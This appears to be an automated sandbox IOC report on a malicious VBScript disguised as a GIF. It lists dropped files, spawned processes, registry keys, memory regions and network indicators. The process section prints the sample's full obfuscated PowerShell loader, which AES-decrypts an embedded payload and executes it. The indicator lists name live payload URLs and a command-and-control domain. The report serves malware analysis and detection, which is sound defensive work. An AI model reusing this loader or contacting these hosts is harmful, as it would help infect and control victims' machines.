IOC Report
ucancrosstheflowerbeautiytogetin.gIF.vbs

loading gif

Files

File Path
Type
Category
Malicious
ucancrosstheflowerbeautiytogetin.gIF.vbs
Unicode text, UTF-16, little-endian text, with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\Local\Temp\note\nots.dat
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\paste1[1].txt
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json
JSON data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ukmm4ju.bmq.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txdi25mf.41b.ps1
ASCII text, with no line terminators
dropped

Processes

Path
Cmdline
Malicious
C:\Windows\System32\wscript.exe
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ucancrosstheflowerbeautiytogetin.gIF.vbs"
 malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI99645972962600823844763280617644CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIzrLkMfCMq2rIsTPnsb8jY47nqz/Y3CrDhgWeqNwTLWPZq+63N4Yhb4EnQJlSBVsguiI84l7zQtwXUQDNIqA92qrVYISAWXhnAYlXALfgssFnno/A2WwlOAFMD/NaVHV+icZyMNgugo/qb9zXaAO8+cQKC7PRaSfFqfVh6ouLofUA5r9MdLhJcneg+mqvCsSeIs3qhIp0vL4z2IKMK2L+k3UqicZjYCi+pQuAnUnn6K9CK71T+oydLiK4GCe2wGcbgIv2DkqaxSHySRydLdHWL0Gi3gEyBH38YBdVu9yBq5glJrh9I8g3FMB1F3MmIaOPg1KNoX9pH1Ub1ee/WxI3psHt96qJfCOVjRl8WZBZ/25QPRntDiX3CNsajiC9dyuVj5z5gQi8aVHKqGC917SReapeeZ0Cc8AhgWyke24u2jHI0QVsseFLiJgwDrex02OunlMSaX32SzeO0kHYzd1RECVE6yk6v7aAq9+TvaqLALY88yliJbfXlcRGeV7edBQLXzJuY5KQ31nWGyUzNenSlvUEvmZXuZ8k9A/a2Nc9Hr3s8k5NMMd3H479dy8/86CJic0bNcnApcxv7O8Un7Ju+yY8SP4rtI3SMFC0vm2vpLwjRjG/9eze4vvZCB1bC8f/j50YLUH9CUo4HgkBoIZCb0IA3oePudi8YFi00YVldRxoxts1jNHBcXLNcewoBJlBHRwFDG6fjgHV3j6P9jnOqMagHomqR1aHltsLzaM+rrG8GFKA3J3po82f2qKuXUKy7JE0+mDm0JnNX+TJztMNCbMNgqBYdflFEp2ir4NAUKLUU1QI6UTgOqf4PlRc7UiCRv5vPMF8ozNN2xns8NMF/XFC9hNsKSURv09S9rBXrn02FWnZJ4f2fr++C52b/4/ckoDa4iu5B2+phXA02niHmmbYDev+Dqz2ElbsoeY3YzDdts+nrseEhOip+iFMPENsFezcvBhpr0l0fszFeuUa0GlaxS1ew1CovjoIVwUs8S/jgCqxTKcIXXBxWnKWm3mR4vwi0ajQV+tHJgy32K2BmV5rF4YAQ1h4Qibdg0vgE7IwO6h3m8kGFkXeiYajfraMYftsvnztTExQKxccg0Bb9EbeVBWg2rml5Kl3ZIKpVWMnz5/ObGF3ovPp2erk/L7gmbFngwPL//lX49kTOc2QoXA7+oy0WQq+27kjIPsYZU4QoG2ZwsKnnDBXN7JE9SwTsEt0kog7f1aKg45cO9g7n/iZfPMfyfKmzE30L9H+oIIvD4jJJkdyZ2H8X78p0NIUYSQ+QMYMOEimSClFq7FIXjTO6KnsBFBvotz1InJLUgn7bYMGX4n9kaJV5BsZGig70cx4ANxQI4IXuA72zIOoQf/xZghiHMzgvmO7qIopxTZ44FYpyt89FGblmTsodmcKBe7hqqYT5+Ec+oUO9PiPT70JaDUj/yn7c6VWECh38exGlPiARukcYHn0Ho0Z2CDitPLsNU63GCra3riIbidF39vAdcBK7G/mG0I+oPLcOQQ2RJmrQ+BkIEkh0ChRfeNyaysmJx2gLSjz89+Y0saZbkqtECuwufAtp9BHE7gldgIkSmHwLnFzwyDE7zg+ZAwyn5BddaTl09JKnhn4ILbZTSfV0zfiK/cyeHYryggXQ3fjKKpwaR9fo2PRyTC2gFYgRc0JenJ7MtMiZj5a6d9vzcezTdg3AD4Q5zn6pL9HSdvBQdB1Ta8P1l9O87UiBWx7fn/N5/Thfcm1Tb56BIzFYbrXiDB86dMeE2xNU4buN7tmTwFkQG+ILl+MdKPy0I37CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

URLs

Name
IP
Malicious
https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg
207.241.232.195
 malicious
https://pastecode.dev/raw/6l7qjjrz/paste1.txt
172.66.40.229
 malicious
sembe.duckdns.org
malicious
http://139.99.220.222/66266/ERVB.txt
139.99.220.222
 malicious
https://pastecode.dev/raw/6l7qjjrz/paste1.txt-Langu
unknown
http://pesterbdd.com/images/Pester.png
unknown
http://www.apache.org/licenses/LICENSE-2.0.html
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txte
unknown
https://pastecode.dev
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txt#
unknown
http://geoplugin.net/json.gpl8
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txtm
unknown
https://github.com/Pester/Pester
unknown
http://geoplugin.net/json.gpSystem32
unknown
http://geoplugin.net/json.gpll
unknown
http://geoplugin.net/json.gp
178.237.33.50
https://pastecode.dev/raw/6l7qjjrz/paste1.txt?
unknown
http://ia803405.us.archive.org
unknown
https://pastecode.dev/raw/6l7qj
unknown
http://geoplugin.net/json.gp/C
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txtB
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txttps://pastecode.dev/raw/6l7qjjrz/paste1.txtVVC:
unknown
https://pastecode.dev/
unknown
http://geoplugin.net/json.gpR
unknown
https://ia803405.us.archive.org
unknown
https://aka.ms/pscore68
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txt42
unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
unknown
http://www.m_.
unknown
https://pastecode.dev/raw/6l7qjjrz/paste1.txtuU
unknown
There are 20 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
ia803405.us.archive.org
207.241.232.195
 malicious
sembe.duckdns.org
194.187.251.115
 malicious
pastecode.dev
172.66.40.229
 malicious
171.39.242.20.in-addr.arpa
unknown
 malicious
geoplugin.net
178.237.33.50

IPs

IP
Domain
Country
Malicious
207.241.232.195
ia803405.us.archive.org
United States
malicious
139.99.220.222
unknown
Canada
malicious
172.66.40.229
pastecode.dev
United States
malicious
194.187.251.115
sembe.duckdns.org
United Kingdom
malicious
178.237.33.50
geoplugin.net
Netherlands

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
exepath
 malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
licence
 malicious
HKEY_CURRENT_USER\SOFTWARE\Rmc-999Z97
time
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
There are 7 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
129B000
heap
page read and write
 malicious
400000
remote allocation
page execute and read and write
 malicious
39EB000
stack
page read and write
20F60520000
heap
page read and write
15A4812F000
trusted library allocation
page read and write
15A45F50000
heap
page read and write
20F60520000
heap
page read and write
15A45FA0000
trusted library allocation
page read and write
936A7F000
stack
page read and write
15A47C50000
heap
page read and write
15A4C77B000
trusted library allocation
page read and write
20F5E7D7000
heap
page read and write
15A48B83000
trusted library allocation
page read and write
20F604E3000
heap
page read and write
20F5E6E0000
heap
page read and write
20F60DA1000
heap
page read and write
20F60DE4000
heap
page read and write
6DA72FF000
stack
page read and write
20F604D6000
heap
page read and write
20F5E8AD000
heap
page read and write
20F60D46000
heap
page read and write
20F60DA1000
heap
page read and write
6DA6CF4000
stack
page read and write
20F60520000
heap
page read and write
20F607D0000
heap
page read and write
15A45F00000
heap
page read and write
15A47C61000
trusted library allocation
page read and write
13A0000
heap
page read and write
20F60D38000
heap
page read and write
20F604CD000
heap
page read and write
15A47CE2000
trusted library allocation
page read and write
20F5E840000
heap
page read and write
1010000
heap
page read and write
20F604FC000
heap
page read and write
DAB000
stack
page read and write
936C7D000
stack
page read and write
2F4F000
stack
page read and write
20F60E0B000
heap
page read and write
20F60EC5000
heap
page read and write
1311000
heap
page read and write
20F5E834000
heap
page read and write
20F5E8AB000
heap
page read and write
15A4D1A8000
trusted library allocation
page read and write
318F000
stack
page read and write
20F5E8C3000
heap
page read and write
20F5E8C3000
heap
page read and write
308D000
stack
page read and write
20F60D32000
heap
page read and write
20F60D7D000
heap
page read and write
20F60520000
heap
page read and write
15A48113000
trusted library allocation
page read and write
20F606E0000
remote allocation
page read and write
20F604F3000
heap
page read and write
20F5E7F8000
heap
page read and write
20F604B1000
heap
page read and write
15A49583000
trusted library allocation
page read and write
20F60E00000
heap
page read and write
20F5E720000
heap
page read and write
20F60DA1000
heap
page read and write
20F60740000
heap
page read and write
20F604BD000
heap
page read and write
15A4812B000
trusted library allocation
page read and write
10E0000
heap
page read and write
474000
remote allocation
page execute and read and write
20F604D6000
heap
page read and write
15A4DB88000
trusted library allocation
page read and write
15A4C784000
trusted library allocation
page read and write
32EF000
stack
page read and write
6DA6EFE000
stack
page read and write
936B7E000
stack
page read and write
20F60DA1000
heap
page read and write
20F60160000
heap
page read and write
20F60DB4000
heap
page read and write
20F604D2000
heap
page read and write
123C000
stack
page read and write
9367FE000
stack
page read and write
20F60DB4000
heap
page read and write
20F60559000
heap
page read and write
20F60523000
heap
page read and write
20F5E715000
heap
page read and write
38ED000
stack
page read and write
20F60508000
heap
page read and write
20F60D47000
heap
page read and write
15A4811E000
trusted library allocation
page read and write
3CDE000
stack
page read and write
20F60DE0000
heap
page read and write
20F60559000
heap
page read and write
15A45DC0000
heap
page read and write
15A45D78000
heap
page read and write
1020000
heap
page read and write
1301000
heap
page read and write
38AF000
stack
page read and write
127C000
stack
page read and write
20F5E840000
heap
page read and write
6DA6DFE000
stack
page read and write
37AE000
stack
page read and write
6DA74FE000
stack
page read and write
20F60D86000
heap
page read and write
20F5E7FE000
heap
page read and write
936E3E000
stack
page read and write
20F60E0B000
heap
page read and write
6DA71FE000
stack
page read and write
15A4A984000
trusted library allocation
page read and write
20F60559000
heap
page read and write
20F60D7D000
heap
page read and write
20F60520000
heap
page read and write
131C000
heap
page read and write
20F5E8AB000
heap
page read and write
15A46030000
heap
page read and write
2E4E000
stack
page read and write
20F60EC1000
heap
page read and write
20F60DB6000
heap
page read and write
936EBB000
stack
page read and write
20F5E7D0000
heap
page read and write
20F604D5000
heap
page read and write
6DA73FB000
stack
page read and write
20F60DB4000
heap
page read and write
15A4B384000
trusted library allocation
page read and write
15A45D72000
heap
page read and write
20F60DE0000
heap
page read and write
20F60D4A000
heap
page read and write
20F5E80F000
heap
page read and write
20F604D5000
heap
page read and write
304F000
stack
page read and write
20F60650000
heap
page read and write
15A47E84000
trusted library allocation
page read and write
20F5E8CE000
heap
page read and write
20F5E8C3000
heap
page read and write
936AFD000
stack
page read and write
20F60920000
trusted library allocation
page read and write
15A48155000
trusted library allocation
page read and write
20F5E8C3000
heap
page read and write
20F60520000
heap
page read and write
20F60DE0000
heap
page read and write
20F604E6000
heap
page read and write
20F60521000
heap
page read and write
20F60D84000
heap
page read and write
20F60DE0000
heap
page read and write
20F60E0B000
heap
page read and write
12C3000
heap
page read and write
10E5000
heap
page read and write
6DA76FE000
stack
page read and write
20F60670000
heap
page read and write
15A4E588000
trusted library allocation
page read and write
20F5E600000
heap
page read and write
20F5E7F9000
heap
page read and write
20F5E8AD000
heap
page read and write
3B2E000
stack
page read and write
93713B000
stack
page read and write
20F60DE0000
heap
page read and write
20F5E8C3000
heap
page read and write
6DA75FE000
stack
page read and write
12E2000
heap
page read and write
20F60DE4000
heap
page read and write
936DB6000
stack
page read and write
9370BE000
stack
page read and write
93703E000
stack
page read and write
3A2D000
stack
page read and write
15A4C7A8000
trusted library allocation
page read and write
936FBE000
stack
page read and write
20F5E7C0000
heap
page read and write
937B8D000
stack
page read and write
93677E000
stack
page read and write
20F604D5000
heap
page read and write
20F5E8CD000
heap
page read and write
20F60DBC000
heap
page read and write
936D3E000
stack
page read and write
936BFE000
stack
page read and write
20F60DB4000
heap
page read and write
20F60DE4000
heap
page read and write
15A45D00000
heap
page read and write
1318000
heap
page read and write
20F604CA000
heap
page read and write
20F5E8AB000
heap
page read and write
15A45F40000
heap
page read and write
11FE000
stack
page read and write
20F604EF000
heap
page read and write
20F606E0000
remote allocation
page read and write
937B0E000
stack
page read and write
15A45D30000
heap
page read and write
15A48153000
trusted library allocation
page read and write
20F5E8C3000
heap
page read and write
936E38000
stack
page read and write
14A0000
heap
page read and write
3DDF000
stack
page read and write
20F604D5000
heap
page read and write
1390000
heap
page read and write
20F607B0000
heap
page read and write
15A45CF0000
heap
page read and write
20F5E8AD000
heap
page read and write
15A45D3B000
heap
page read and write
20F604C6000
heap
page read and write
20F60ECE000
heap
page read and write
20F5E8C3000
heap
page read and write
3B9E000
stack
page read and write
20F5E7C5000
heap
page read and write
15A45D7C000
heap
page read and write
20F604BA000
heap
page read and write
20F604B0000
heap
page read and write
15A49F84000
trusted library allocation
page read and write
20F60D3F000
heap
page read and write
20F60520000
heap
page read and write
20F5E8AB000
heap
page read and write
20F5E8AD000
heap
page read and write
20F60DBC000
heap
page read and write
20F5E865000
heap
page read and write
15A45F80000
trusted library allocation
page read and write
15A48183000
trusted library allocation
page read and write
20F60DA1000
heap
page read and write
20F60520000
heap
page read and write
20F60D33000
heap
page read and write
20F60D32000
heap
page read and write
15A45F44000
heap
page read and write
20F60520000
heap
page read and write
20F60E0B000
heap
page read and write
20F60EC0000
heap
page read and write
20F605E0000
heap
page read and write
15A45DBA000
heap
page read and write
CAC000
stack
page read and write
20F60D47000
heap
page read and write
15A48123000
trusted library allocation
page read and write
20F60DE4000
heap
page read and write
15A45FB0000
heap
page readonly
20F5E710000
heap
page read and write
936CF9000
stack
page read and write
20F60D30000
heap
page read and write
20F60D30000
heap
page read and write
20F60D36000
heap
page read and write
20F60DA1000
heap
page read and write
3C9F000
stack
page read and write
9366F3000
stack
page read and write
20F60DE4000
heap
page read and write
15A4EF88000
trusted library allocation
page read and write
31EE000
stack
page read and write
20F60D7D000
heap
page read and write
20F60DE0000
heap
page read and write
20F604B2000
heap
page read and write
15A45D92000
heap
page read and write
20F60D84000
heap
page read and write
20F60521000
heap
page read and write
20F604B2000
heap
page read and write
20F604F3000
heap
page read and write
20F60DE4000
heap
page read and write
1290000
heap
page read and write
20F604B4000
heap
page read and write
20F60D7D000
heap
page read and write
20F604DA000
heap
page read and write
15A47B20000
trusted library allocation
page read and write
478000
remote allocation
page execute and read and write
936F3E000
stack
page read and write
15A4BD84000
trusted library allocation
page read and write
15A47BB0000
heap
page execute and read and write
6DA78FB000
stack
page read and write
20F606E0000
remote allocation
page read and write
15A4F988000
trusted library allocation
page read and write
20F5E834000
heap
page read and write
3190000
heap
page read and write
6DA70FF000
stack
page read and write
15A46035000
heap
page read and write
6DA79FE000
stack
page read and write
20F60D42000
heap
page read and write
There are 251 hidden memdumps, click here to show them.